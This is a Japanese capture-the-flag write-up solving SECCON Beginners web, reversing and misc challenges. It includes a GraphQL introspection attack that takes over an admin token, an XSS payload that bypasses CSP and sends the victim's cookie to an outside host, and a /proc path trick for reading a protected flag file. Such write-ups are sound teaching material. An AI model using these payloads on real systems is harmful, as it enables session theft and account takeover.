00000060 66 6c 61 67 2e 74 78 74 50 4b 05 06 00 00 00 00 |flag.txtPK......|
00000070 01 00 01 00 3c 00 00 00 2c 00 00 00 00 00 |....<...,.....|
0000007e
ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}
profiler
プロフィールを設定できるサービス。
通信を見ると、
{"query":"query { me {\n uid\n name\n profile\n }\n }"}
のようなフォーマットでAPIを叩いている。query
の中身のフォーマットは何なのだろう? 適当に書き換えて返ってきたエラーメッセージでググると、GraphQLらしい。
GraphQLなんて使ったことはないが、ググるとなんかありがちな脆弱性があるらしい。
このページに書かれている通りにすると結果が返ってきて、どのようなクエリが使えるのかが分かる。
query { someone(uid: "admin") {
uid
name
profile
token
}
}
でadminのtokenが得られる。このトークンを入力してもフラグは手に入らない。自分のトークンをadminのトークンにしないといけないらしい。
mutation {
updateToken(token: "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b")
}
でトークンを書き換えられる。
ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}
Somen
XSS。送りつけたパラメタをURLに付けて、フラグをcookieに付けたbotがページを閲覧する。
脆弱性は2箇所ある。
- ユーザー入力をそのまま出力している
-
innerHTML
にユーザー入力を含む文字列を代入している。
防御も2種類ある。
Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='
- 別のJavaScriptを読み込んで、パラメタに英数字以外の文字列が含まれていたら、エラーページにリダイレクト
さすがに英数字以外無しでは何もできないので、まずは後者を回避する。これは簡単で、XSSついでに末尾に<script>
を付ければ良い。これによって、security.jsの読み込みが壊れて効かなくなる。
問題はContent Security Policy(CSP)。strict-dynamic
が気になる。JavaScriptで動的に<script>
タグを生成して別のJavaScriptを読み込むということは良く行われているが、これがあるとCSPが適用しづらい。そこで、信頼されたスクリプトから読み込まれたスクリプトも実行を許可するものらしい。ただし、「構文解析時に挿入されたものではない」という難しい条件が付いている。そもそも、innerHTML
に<script>
を入れても効かないし、<img src=x onerror=alert(0)>
みたいなイベントハンドラはCSPで無効化されている。
ググっていたら回避策が書かれいてた。
なるほど。通常のXSSもDOM basedのXSSもあったらどうしようもないよ、ということだろうか。
location.href="http://mydomain.example.com/?"+document.cookie//</title><script id="message"></script><script>
これでmydomain.example.com
にcookie付のリクエストが飛んでくる。
ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}
Reversing
mask
正解となるフラグに対して、0x75
で&
を取った値と、0xeb
で&
を取った値が分かる。(0x75|0xeb)==0xff
なので両者の値の|
を取れば良い。
A = "atd4`qdedtUpetepqeUdaaeUeaqau"
B = "c`b bk`kj`KbababcaKbacaKiacki"
print "".join(chr(ord(a)|ord(b)) for a, b in zip(A, B))
>py -2 solve.py
ctf4b{dont_reverse_face_mask}
ctf4b{dont_reverse_face_mask}
yakisoba
(Hint: You'd better automate your analysis)
とのこと。去年使ったスクリプトのファイル名だけ書き換えたら通ってしまった。angrはちゃんと使いこなせばもっと便利だとは思うものの、今年も使い方を覚えなかった……。
import angr
project = angr.Project('./yakisoba')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()
states = simgr.deadended
for state in states:
flag = b"".join(state.posix.stdin.concretize())
print(flag)
>docker run -it --rm -v %CD%:/hoge angr/angr
(angr) angr@fa538f8e6cc5:~$ cd /hoge
(angr) angr@fa538f8e6cc5:/hoge$ python solve.py
WARNING | 2020-05-23 07:00:08,009 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
b'c>\xd9\xc9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
b'0\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd1\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
:
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\xa1\xd9\xd9\xd9\xd9'
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x89\xd9\xd9\xd9\xd9'
(angr) angr@fa538f8e6cc5:/hoge$
ctf4b{sp4gh3tt1_r1pp3r1n0}
ghost
Ghostscriptの出力から入力を逆算。
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
スタックマシンらしく、文法をググっても読めない。
- 入力1文字に対して、数値1個を出力
- ある位置の出力が依存するのは、その位置より前の入力
ということで、スクリプトを書いて、1文字ずつ探索。subprocess
はPython 3のほうが便利。
output = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094]
import time
import subprocess
flag = b""
for i in range(len(output)):
for c in range(0x20, 0x80):
c = bytes([c])
p = subprocess.run("gs chall.gs", shell=True, input=flag+c+b"\n", stdout=subprocess.PIPE)
if list(map(int, p.stdout.split(b"\n")[-2].split()))==output[:i+1]:
flag += c
break
print(flag)
$ python3 solve.py
b'c'
b'ct'
b'ctf'
b'ctf4'
:
b'ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!'
b'ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}'
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
siblangs
Androidアプリ。
dex2jarとJD-GUIで探すと、es.o0i.challenge.app/nativemodule/ValidateFlagModuleにそれっぽい処理がある。
from Crypto.Cipher import AES
C = [95, -59, -20, -93, -70, 0, -32, -93, -23, 63, -9, 60, 86, 123, -61, -8, 17, -113, -106, 28, 99, -72, -3, 1, -41, -123, 17, 93, -36, 45, 18, 71, 61, 70, -117, -55, 107, -75, -89, 3, 94, -71, 30]
C = "".join(chr(c%256) for c in C)
K = "IncrediblySecure"
aes = AES.new(K, AES.MODE_GCM, C[:12])
print(aes.decrypt(C[12:]))
で復号できる。ただ、フラグの後半のみ。
前半部分はassets/index.android.bundleで処理しているらしい。minifyされていてつらい。ctf4b
とかで探した。処理は単なるxorで鍵は"AKeyFor"+h.Platform.OS+"10.3"
。「Platformはandroidでしょ?」と思ったけどダメ。10.3
を見てios
にしたら通った。
:
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
key = "AKeyForios10.3"
print("".join(chr(ord(key[i%len(key)])^xored[i]) for i in range(len(xored))))
$ python2 solve.py
1pt_3verywhere}}!9ݩw
ctf4b{jav4_and_j4va5cr
ctf4b{jav4_and_j4va5cr1pt_3verywhere}
sneaky
コンソールのヘビゲーム。
$ file sneaky
sneaky: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=ef4c67ba5146f36226a06e9984f8ee4c5f31f7ee, stripped
静的リンク&strippedはつらい。とはいえデバッガ検知などは無いようなので、gdbで動かして、SCORE:
という文字列からスコアを表示している箇所を探し、ブレークポイントをはって参照している値を書き換えたらフラグが表示された。
ctf4b{still_ez_2_cheat?}
Misc
Welcom
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
この問題文を見たら、ctf4b-botに話しかけるよねw
ctf4b-bot は運営に質問を行うための窓口です。「test」「hello」等の無意味な投稿は運営リソースの圧迫に繋がりますのでおやめください。特に問題「Welcome」のフラグは得られませんのでご注意ください。#seccon #ctf4b
— SECCON Beginners (@ctf4b) May 23, 2020
フラグは #announcement に書かれていた。
xrekkusu今日 14:01
競技開始しました!Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
>>> d = open("emoemoencode.txt", "rb").read()
>>> x = d[3:][::4]
>>> "".join(chr(ord(t)-0x40) for t in x)
'ctftb{steganpgraphy_by_emppppppji}'
1バイト前が8C
のところを書き換えたら通った。
ctf4b{stegan0graphy_by_em000000ji}
readme
#!/usr/bin/env python3
import os
assert os.path.isfile('/home/ctf/flag') # readme
if __name__ == '__main__':
path = input("File: ")
if not os.path.exists(path):
exit("[-] File not found")
if not os.path.isfile(path):
exit("[-] Not a file")
if '/' != path[0]:
exit("[-] Use absolute path")
if 'ctf' in path:
exit("[-] Path not allowed")
try:
print(open(path, 'r').read())
except:
exit("[-] Permission denied")
(フラグ以外の)任意のファイルが読めるならば、 /proc/self/ を読む。isfile
で触っているから、/proc/self/fd/? にあるかな?と思ったけど無かった。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
... PYTHON_VERSION=3.7.7 PWD=/home/ctf/serve PYT...
カレントディレクトリは /home/ctf/serve。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}